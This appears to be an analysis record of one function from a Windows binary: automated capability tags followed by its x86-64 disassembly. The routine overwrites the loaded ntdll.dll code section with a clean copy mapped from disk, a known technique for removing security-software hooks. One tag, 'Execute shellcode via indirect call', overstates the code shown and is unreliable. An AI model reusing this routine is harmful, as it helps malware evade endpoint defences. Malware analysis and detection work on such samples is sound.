Function at 0x401d71
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xc0
lea rax, str.ntdll.dll
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp - 0x18], rax
lea rax, str.c:windows_system32_ntdll.dll
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp - 0x28], rax
cmp qword [rbp - 0x28], 0xffffffffffffffff
jne 0x401df5
mov eax, 0xffffffff
jmp 0x402016
mov rax, qword [rbp - 0x28]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp - 0x30], rax
cmp qword [rbp - 0x30], 0
jne 0x401e4c
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0xffffffff
jmp 0x402016
mov rax, qword [rbp - 0x30]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp - 0x38], rax
cmp qword [rbp - 0x38], 0
jne 0x401eab
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0xffffffff
jmp 0x402016
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov eax, dword [rax + 0x3c]
cdqe
mov rdx, qword [rbp - 0x38]
add rax, rdx
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x48]
mov rdx, qword [rax + 4]
mov qword [rbp - 0x70], rdx
mov rdx, qword [rax + 0xc]
mov qword [rbp - 0x68], rdx
mov eax, dword [rax + 0x14]
mov dword [rbp - 0x60], eax
mov rax, qword [rbp - 0x48]
add rax, 0x108
mov qword [rbp - 0x50], rax
mov dword [rbp - 0x74], 0
mov dword [rbp - 4], 0
movzx eax, word [rbp - 0x6e]
movzx eax, ax
cmp dword [rbp - 4], eax
jge 0x402011
mov eax, dword [rbp - 4]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x50]
add rax, rdx
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x402008
mov rax, qword [rbp - 0x50]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp - 0x50]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 0x18]
add rax, rcx
mov rcx, rax
lea rax, [rbp - 0x74]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov eax, dword [rbp - 0x74]
test eax, eax
jne 0x401f85
mov eax, 0xffffffff
jmp 0x402016
mov rax, qword [rbp - 0x50]
mov eax, dword [rax + 8]
mov ecx, eax
mov rax, qword [rbp - 0x50]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp - 0x38]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp - 0x50]
mov eax, dword [rax + 0xc]
mov r8d, eax
mov rax, qword [rbp - 0x18]
add rax, r8
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp - 0x74]
mov rax, qword [rbp - 0x50]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp - 0x50]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 0x18]
add rax, rcx
mov rcx, rax
lea rax, [rbp - 0x74]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov eax, dword [rbp - 0x74]
test eax, eax
jne 0x402001
mov eax, 0xffffffff
jmp 0x402016
mov eax, 0
jmp 0x402016
add dword [rbp - 4], 1
jmp 0x401efd
mov eax, 0xffffffff
add rsp, 0xc0
pop rbp
ret